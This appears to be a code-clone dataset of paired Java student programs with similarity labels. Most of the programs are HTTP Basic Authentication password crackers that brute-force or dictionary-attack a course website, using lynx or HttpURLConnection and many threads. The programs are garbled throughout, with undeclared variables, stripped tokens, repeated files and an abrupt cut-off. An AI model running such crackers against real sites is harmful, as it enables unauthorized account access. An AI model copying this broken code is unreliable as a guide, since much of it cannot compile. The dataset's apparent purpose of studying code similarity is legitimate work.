public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
136.java | 197.java | 0 |
import java.util.*;
import java.io.*;
import java.net.*;
public class MyWatchDogTimer extends TimerTask
{
public void run()
{
Runtime rt = Runtime.getRuntime();
Process prss= null;
String initialmd5,presentmd5,finalmd5,temp1;
String mesg1 = new String();
String subject = new String("Report of WatchDog");
int i;
try
{
prss = rt.exec("md5sum first.html");
InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread1 = new BufferedReader(instre1);
sw = bufread1.readLine();
i = finalmd5.indexOf(' ');
initialmd5 = finalmd5.substring(0,i);
System.out.println("this is of first.html--->"+initialmd5);
prss = rt.exec("wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/");
prss = rt.exec("md5sum present.html");
InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread2 = new BufferedReader(instre2);
temp1 = bufread2.readLine();
i = temp1.indexOf(' ');
presentmd5 = temp1.substring(0,i);
System.out.println("this is of present.html---->"+presentmd5);
if(initialmd5.equals(presentmd5))
System.out.println("The checksum found using md5sum is same");
else
{
prss = rt.exec("diff first.html present.html > diff.html");
System.out.println(" is different");
prss = null;
mesg1 ="php mail.php";
prss = rt.exec(mesg1);
}
prss = rt.exec("rm present.*");
}catch(java.io.IOException e){}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
051.java | 197.java | 0 | import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
public class Dictionary
{
String uname = "";
String pword = "null";
Vector v = new Vector();
int runTime;
public void doConnect(String connect, int num)
{
String = connect;
try
{
URL secureSite = new URL();
URLConnection connection = secureSite.openConnection();
if (uname != null || pword != null)
{
for(int i=num; i<v.size(); i++)
{
pword = (String)v.elementAt(i);
String up = uname + ":" + pword;
String encoding;
try
{
connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName(".misc.BASE64Encoder").newInstance();
encoding = encoder.encode (up.getBytes());
}
catch (Exception ex)
{
Base64Converter encoder = new Base64Converter();
System.out.println("in catch");
encoding = encoder.encode(up.getBytes());
}
connection.setRequestProperty ("Authorization", " " + encoding);
connection.connect();
if(connection instanceof HttpURLConnection)
{
HttpURLConnection httpCon=(HttpURLConnection)connection;
if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
{
System.out.println("Not authorized - check for details" + " -Incorrect Password : " + pword);
doConnect(i, i+1);
}
else
{
System.out.println("\n\n\nPassword for HTTP Secure Site by Dictionary Attack:");
System.out.println( +"\tPassword : "+ pword);
runTime = System.currentTimeMillis() - runTime;
System.out.println("Time taken crack password (in seconds)"+" : "+ runTime/1000+"\n"+ "Tries taken crack password : "+ i);
System.exit(0);
}
}
}
}
}
catch(Exception ex)
{
ex.printStackTrace();
}
}
public Vector getPassword()
{
try
{
ReadFile rf = new ReadFile();
rf.loadFile();
v = rf.getVector();
}
catch(Exception ex)
{
ex.printStackTrace();
}
return v;
}
public void setTimeTaken( int timetaken)
{
runTime = timetaken;
}
public static void main ( String args[] ) throws IOException
{
runTime1 = System.currentTimeMillis();
Dictionary newDo = new Dictionary();
newDo.setTimeTaken(runTime1);
newDo. getPassword();
String site = "http://sec-crack.cs.rmit.edu./SEC/2/";
newDo.doConnect(site, 0);
}
}
class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length ) {
bits24=( octetString [ i++ ] & 0xFF ) << 16;
bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
062.java | 197.java | 0 |
import java.util.*;
import java.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import java.text.*;
public class BruteForce {
public static String Base64Encode(String s) {
byte[] bb = s.getBytes();
byte[] b = bb;
char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'0','1','2','3','4','5','6','7','8','9','+','/' };
if (bb.length % 3!=0) {
int x1 = bb.length;
b = new byte[(x1/3+1)*3];
int x2 = b.length;
for(int i=0;i<x1;i++)
b[i] = bb[i];
for(int i=x1;i<x2;i++)
b[i] = 0;
}
char[] c = new char[b.length/3*4];
int i=0, j=0;
while (i+3<=b.length) {
c[j] = table[(b[i] >> 2)];
c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)];
c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)];
c[j+3] = table[(b[i+2] & 63)];
i+=3;
j+=4;
}
j = c.length-1;
while (c[j]=='A') {
c[j]='=';
j--;
}
return String.valueOf(c);
}
public synchronized void getAccumulatedLocalAttempt() {
attempt = 0;
for (int i=0;i<MAXTHREAD;i++) {
attempt += threads[i].getLocalAttempt();
}
}
public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
System.out.println();
System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------");
System.out.println();
System.out.println(" Current connections : "+curconn);
System.out.println(" Current progress : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)");
System.out.println(" Overall Attempts rate : "+ovrl+" attempts second (approx.)");
System.out.println();
System.out.println(" ---------------------------------------------------------------------------");
System.out.println();
}
public class MyTT extends TimerTask {
public synchronized void run() {
if (count==REPORT_INTERVAL) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
getAccumulatedLocalAttempt();
double p = (double)attempt/(double)ALLCOMBI*100;
double aps = (double) (attempt - attm) / REPORT_INTERVAL;
attmArr[attmArrIdx++] = aps;
printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
count = 0;
} else
if (count==0) {
getAccumulatedLocalAttempt();
attm = attempt;
count++;
} else {
count++;
}
}
public synchronized double getOverallAttemptPerSec() {
double val = 0;
for (int i=0;i<attmArrIdx;i++) {
val+= attmArr[i];
}
return val / attmArrIdx;
}
private int count = 0;
private int attm;
private int attmArrIdx = 0;
private double[] attmArr = new double[2*60*60/10];
}
public synchronized void interruptAll(int ID) {
for (int i=0;i<MAXTHREAD;i++) {
if ((threads[i].isAlive()) && (i!=ID)) {
threads[i].interrupt();
}
notifyAll();
}
}
public synchronized void setSuccess(int ID, String p) {
passw = p;
success = ID;
notifyAll();
interruptAll(ID);
end = System.currentTimeMillis();
}
public synchronized boolean isSuccess() {
return (success>=0);
}
public synchronized void waitUntilAllTerminated() {
while (curconn>0) {
try {
wait();
} catch (InterruptedException e) {}
}
}
public synchronized int waitUntilOK2Connect() {
boolean interruptd= false;
int idx = -1;
while (curconn>=MAXCONN) {
try {
wait();
} catch (InterruptedException e) { interruptd = true; }
}
if (!interruptd) {
curconn++;
for (idx=0;idx<MAXCONN;idx++)
if (!connused[idx]) {
connused[idx] = true;
break;
}
notifyAll();
}
return idx;
}
public synchronized void decreaseConn(int idx) {
curconn--;
connused[idx] = false;
notifyAll();
}
public class ThCrack extends Thread {
public ThCrack(int threadID, int startidx, int endidx) {
super(" Thread #"+String.valueOf(threadID)+": ");
this.ID = threadID;
this.startidx = startidx;
this.endidx = endidx;
setDaemon(true);
}
public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
int i ;
String msg;
URL tryURL = new URL(THEURL);
connections[connID]=(HttpURLConnection) tryURL.openConnection();
connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass));
i = connections[connID].getResponseCode();
msg = connections[connID].getResponseMessage();
connections[connID].disconnect();
if (i==HttpURLConnection.HTTP_OK) {
System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+").");
setSuccess(this.ID,thePass);
return (true);
} else {
System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+").");
return (false);
}
}
public void rest(int msec) {
try { sleep(msec); } catch (InterruptedException e) {}
}
public String constructPassword( int idx) {
int i = idxLimit.length-2;
boolean processed = false;
String result = "";
while (i>=0) {
if (idx>=idxLimit[i]) {
int nchar = i + 1;
idx-=idxLimit[i];
for (int j=0;j<nchar;j++) {
x = (idx % NCHAR);
result = charset.charAt((int) x) + result;
idx /= NCHAR;
}
break;
}
i--;
}
return result;
}
public String getStartStr() {
return constructPassword(this.startidx);
}
public String getEndStr() {
return constructPassword(this.endidx);
}
public void run() {
i = startidx;
boolean keeprunning = true;
while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
int idx = waitUntilOK2Connect();
if (idx==-1) {
break;
}
try {
launchRequest(getName(), idx, constructPassword(i));
decreaseConn(idx);
localattempt++;
rest(MAXCONN);
i++;
} catch (InterruptedException e) {
keeprunning = false;
break;
} catch (IOException e) {
decreaseConn(idx);
}
}
if (success==this.ID) {
waitUntilAllTerminated();
}
}
public int getLocalAttempt() {
return localattempt;
}
private int startidx,endidx;
private int ID;
private int localattempt = 0;
}
public void printProgramHeader(String mode,int nThread) {
System.out.println();
System.out.println(" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************");
System.out.println();
System.out.println(" URL : "+THEURL);
System.out.println(" Crack Mode : "+mode);
System.out.println(" Characters : "+charset);
System.out.println(" . Char : "+MINCHAR);
System.out.println(" . Char : "+MAXCHAR);
System.out.println(" # of Thread : "+nThread);
System.out.println(" Connections : "+MAXCONN);
System.out.println(" All Combi. : "+ALLCOMBI);
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
public void startNaiveCracking() {
MAXTHREAD = 1;
MAXCONN = 1;
startDistCracking();
}
public void startDistCracking() {
int startidx,endidx;
int thcount;
if (isenhanced) {
printProgramHeader("ENHANCED BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
} else {
printProgramHeader("NAIVE BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
}
i = System.currentTimeMillis();
idxstart = idxLimit[MINCHAR-1];
if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }
mult = (ALLCOMBI - idxstart) / MAXTHREAD;
for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
startidx = thcount*mult + idxstart;
endidx = (thcount+1)*mult-1 + idxstart;
threads[thcount] = new ThCrack(thcount, startidx, endidx);
System.out.println(threads[thcount].getName()+" try crack from '"+threads[thcount].getStartStr()+"' '"+threads[thcount].getEndStr()+"'");
}
startidx = (MAXTHREAD-1)*mult + idxstart;
endidx = ALLCOMBI-1;
threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
System.out.println(threads[MAXTHREAD-1].getName()+" try crack from '"+threads[MAXTHREAD-1].getStartStr()+"' '"+threads[MAXTHREAD-1].getEndStr()+"'");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
for (int i=0;i<MAXTHREAD;i++)
threads[i].print();
}
public BruteForce() {
if (isenhanced) {
startDistCracking();
} else {
startNaiveCracking();
}
reportTimer = new java.util.Timer();
MyTT tt = new MyTT();
reportTimer.schedule(tt,1000,1000);
while ((success==-1) && (attempt<ALLCOMBI)) {
try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }
}
if (success==-1) {
end = System.currentTimeMillis();
}
getAccumulatedLocalAttempt();
double ovAps = tt.getOverallAttemptPerSec();
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
reportTimer.cancel();
try { Thread.sleep(1000); } catch (InterruptedException e) { }
synchronized (this) {
if (success>=0) {
System.out.println();
System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************");
System.out.println();
System.out.println(" The password is : "+passw);
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println(" Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
} else {
System.out.println();
System.out.println(" ********************* [ UNABLE CRACK THE URL !!! ] *********************");
System.out.println();
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
}
}
public static void printSyntax() {
System.out.println();
System.out.println("Syntax : BruteForce [mode] [URL] [charset] [] [] [username]");
System.out.println();
System.out.println(" mode : (opt) 0 - NAIVE Brute force mode");
System.out.println(" (trying from the first the last combinations)");
System.out.println(" 1 - ENHANCED Brute force mode");
System.out.println(" (dividing cracking jobs multiple threads) (default)");
System.out.println(" URL : (opt) the URL crack ");
System.out.println(" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)");
System.out.println(" charset : (optional) the character set used crack.");
System.out.println(" - (default)");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -alphanum ");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890");
System.out.println(" -alphalow ");
System.out.println(" abcdefghijklmnopqrstuvwxyz");
System.out.println(" -alphaup ");
System.out.println(" ABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -number ");
System.out.println(" 1234567890");
System.out.println(" [custom] e.g. aAbB123");
System.out.println(" , : (optional) range of characters applied in the cracking");
System.out.println(" where 1 <= <= 10 (default = 1)");
System.out.println(" <= <= 10 (default = 3)");
System.out.println(" username : (optional) the username that is used crack");
System.out.println();
System.out.println(" NOTE: The optional parameters 'charset','','', and 'username'");
System.out.println(" have specified altogether none at all.");
System.out.println(" For example, if [charset] is specified, then [], [], and");
System.out.println(" [username] have specified as well. If none of them specified,");
System.out.println(" default values used.");
System.out.println();
System.out.println(" Example of invocation :");
System.out.println(" java BruteForce ");
System.out.println(" java BruteForce 0");
System.out.println(" java BruteForce 1 http://localhost/tryme.php");
System.out.println(" java BruteForce 0 http://localhost/tryme.php - 1 3 ");
System.out.println(" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 ");
System.out.println();
System.out.println();
}
public static void countIdxLimit() {
idxLimit = new int[MAXCHAR+1];
NCHAR = charset.length();
ALLCOMBI = 0;
for (int i=0;i<=MAXCHAR;i++) {
if (i==0) {
idxLimit[i] = 0;
} else {
idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);
}
}
ALLCOMBI = idxLimit[idxLimit.length-1];
}
public static void paramCheck(String[] args) {
int argc = args.length;
try {
switch (Integer.valueOf(args[0]).intValue()) {
case 0: {
isenhanced = false;
} break;
case 1: {
isenhanced = true;
} break;
default:
System.out.println("Syntax error : invalid mode '"+args[0]+"'");
printSyntax();
System.exit(1);
}
} catch (NumberFormatException e) {
System.out.println("Syntax error : invalid number '"+args[0]+"'");
printSyntax();
System.exit(1);
}
if (argc>1) {
try {
URL u = new URL(args[1]);
try {
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
switch (conn.getResponseCode()) {
case HttpURLConnection.HTTP_ACCEPTED:
case HttpURLConnection.HTTP_OK:
case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
case HttpURLConnection.HTTP_FORBIDDEN:
case HttpURLConnection.HTTP_UNAUTHORIZED:
break;
default:
System.out.println("Unable open connection the URL '"+args[1]+"'");
System.exit(1);
}
} catch (IOException e) {
System.out.println(e);
System.exit(1);
}
THEURL = args[1];
} catch (MalformedURLException e) {
System.out.println("Invalid URL '"+args[1]+"'");
printSyntax();
System.exit(1);
}
}
if (argc==6) {
try {
MINCHAR = Integer.valueOf(args[3]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[3]+"'");
printSyntax();
System.exit(1);
}
try {
MAXCHAR = Integer.valueOf(args[4]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[4]+"'");
printSyntax();
System.exit(1);
}
if ((MINCHAR<1) || (MINCHAR>10)) {
System.out.println("Invalid range number value '"+args[3]+"' (must between 0 and 10)");
printSyntax();
System.exit(1);
} else
if (MINCHAR>MAXCHAR) {
System.out.println("Invalid range number value '"+args[3]+"' (must lower than the value)");
printSyntax();
System.exit(1);
}
if (MAXCHAR>10) {
System.out.println("Invalid range number value '"+args[4]+"' (must between value and 10)");
printSyntax();
System.exit(1);
}
if (args[2].toLowerCase().equals("-")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-alphanum")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
} else
if (args[2].toLowerCase().equals("-alphalow")) {
charset = "abcdefghijklmnopqrstuvwxyz";
} else
if (args[2].toLowerCase().equals("-alphaup")) {
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-number")) {
charset = "1234567890";
} else {
charset = args[2];
}
USERNAME = args[5];
} else
if ((argc>2) && (argc<6)) {
System.out.println("Please specify the [charset], [], [], and [username] altogether none at all");
printSyntax();
System.exit(1);
} else
if ((argc>2) && (argc>6)) {
System.out.println("The number of parameters expected is not more than 6. ");
System.out.println(" have specified more than 6 parameters.");
printSyntax();
System.exit(1);
}
}
public static void main (String[] args) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
MINCHAR = 1;
MAXCHAR = 3;
if (args.length==0) {
args = new String[6];
args[0] = String.valueOf(1);
args[1] = THEURL;
args[2] = "-";
args[3] = String.valueOf(MINCHAR);
args[4] = String.valueOf(MAXCHAR);
args[5] = USERNAME;
}
paramCheck(args);
countIdxLimit();
Application = new BruteForce();
}
public static BruteForce Application;
public static String THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
public static boolean isenhanced;
public static String passw = "";
public static final int REPORT_INTERVAL = 10;
public static int MAXTHREAD = 50;
public static int MAXCONN = 50;
public static int curconn = 0;
public static int success = -1;
public static String USERNAME = "";
public static int MINCHAR;
public static int MAXCHAR;
public static int ALLCOMBI;
public static int start ,end;
public static java.util.Timer reportTimer;
public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN];
public static boolean connused[] = new boolean[MAXCONN];
public ThCrack[] threads = new ThCrack[MAXTHREAD];
public static int attempt = 0;
public static int idxLimit;
public static String charset;
public static int NCHAR;
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
207.java | 161.java | 0 |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
